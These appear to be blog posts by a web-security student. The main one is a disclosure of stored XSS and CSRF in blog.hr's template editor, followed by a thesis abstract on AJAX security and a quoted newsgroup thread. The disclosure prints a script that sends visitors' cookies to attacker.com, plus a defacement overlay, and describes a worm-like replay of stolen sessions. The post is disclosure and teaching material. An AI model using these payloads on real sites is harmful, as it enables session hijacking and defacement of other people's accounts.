Blog.hr update

Few days ago, blog.hr came out with a new version of their application. They had a fishing attack on the first day, and few days later, someone used the technique explained in my earlier post. As I've read on their site and in the newspaper, cookies were stolen, JavaScript was injected and blogs were defaced. It seems that only around 50 users were affected by this attack, but the sad thing is that the new version of the application is still very open to any kind of JS injection.

Hacking blog.hr

Few months ago, I have discovered an security flaw in BLOG beta web application on www.blog.hr. Blog.hr has been notified of the flaw around 3 months ago and I have recieved compensation in form of banner advertising for the problem description. Since I haven't recieved an answer to my request to make this public in more than few weeks, I will disclose it now. As much as I can see, they haven't fixed it yet. This advisory is provided under the policy documented at http://www.wiretrip.net/rfp/policy.html.

Here is the explanation.

While editing a blog, user can access HTML code of the template. JavaScript code is not filtered in any way. We insert the following code inside the HEAD html section:
<br /><script>br />var slika=new Image();<br />slika.src='http://attacker.com/csrf.php?cookie='+document.cookie;<br /></script><br />
This is a regular XSS+CSRF attack, where the browser, instead of trying to get an image, sends the cookie data of the guest user. If the user is logged on, the cookies are sent to the attacker server via GET parameter.

Csrf.php script is a modified HTTP client class (http://www.phpclasses.org/browse/package/576.html). The script creates HTTP post request to change BOX-4 section of the victims blog (www.blog.hr/edit/?page=blogeditor&menu=2,3) while inserting recieved cookie data into the request header and setting the valid referer field. When the request is recieved on blog.hr, it seems like it is valid.

BOX-4 can also be used for defacement, with a code like:

<div style="position: absolute; width: 1600px; height: 1600px; z-index: 100; background-color: rgb(0, 255, 0); left: 0px; top: 0px;"><br /><img src="http://www.bloger.hr/img/logo.jpg" /><br /></div>

Also, JavaScript can be inserted inside BOX-4 section, so the code could propagate pretty fast.

Here is the video:



Here are the files:
PHP class
PHP script
JS code for XSS

Diploma thesis - Security of AJAX Web applications

My diploma thesis is finally done. The link is on the right (Croatian language only).

Abstract

This diploma thesis describes security problems in Web applications based on AJAX technology. It describes basic AJAX mechanisms, most common Web application vulnerabilities and specific problems that refer to AJAX applications, as well as the way of resolving them. Most of descriptions are followed by real life examples for easier understanding. Also, examples show the newest trends in vulnerability exploitation on the communication between client and server, as well as on the client itself. The practical part of the paper describes the created AJAX application used for manipulating the IKE configuration files and the security problems specific to that application.

Ajax specific vulnerabilities?

I've started writing my diploma thesis about AJAX application security few weeks ago, and I'm having some minor problems. I'm trying to find any vulnerability that is specific to AJAX, but can't find any valuable. It seems that XMLHttpRequest bugs regarding HTTP response splitting and web cache poisoning (link) have been mostly fixed, so the most interesting thing would be the Javascript Hijacking (link). I must say that this also looks like primary the XSS problem, rather than a new exploit opportunity.

The OWASP Top 10 (link) vulnerabilities are just too much non AJAX specific and Top 10 Ajax Security Holes and Driving Factors (link) don't seem too deep.

Also, client attacks that are very interesting, like XSS proxy (link) and JS port scanning (link) are not really using much AJAX.

I guess I'll have to find out something myself :)

Javascript security for newbies

Hi all. I'm gonna start my blog with a cut&paste from comp.lang.javascript newsgroup quoting the post I recently saw. If you think about it, the original post was a pretty nice idea:

On Feb 6, 4:37 pm, "Lucas Kruijswijk"
wrote:

> Hello all,

> I have a security question. Instead of heaving a session key,
> I was thinking to hold the password of some application in
> a Javascript variable.

> Each time a http (or https) request is send from Javascript,
> I also send the password. The server checks the password
> and sends back the result.

The words password and JavaScript send a chill down my spine. Remember
anything you write in JavaScript can be view with a simple click on
view source. JavaScript is for manipulating DOM creating dynamic
pages. Security is something always best kept to a computer you know
(eg. the server) rather than the user's computer you know nothing
about.

> In this way, no need for session.

> Is there a security problem with this kind of programming?

> The only thing I could think of, is that in Firefox and firebug
> someone could access the variable to get the password. But
> that is a risk I take.

> I am more concerned that some evil website could steal the
> password by some other Javascript. But I could not find
> a way, so, I assume this is rather safe.

> Or, does someone disagree?

Please don't do this!

> Regards,

> Lucas

The full posting is on
link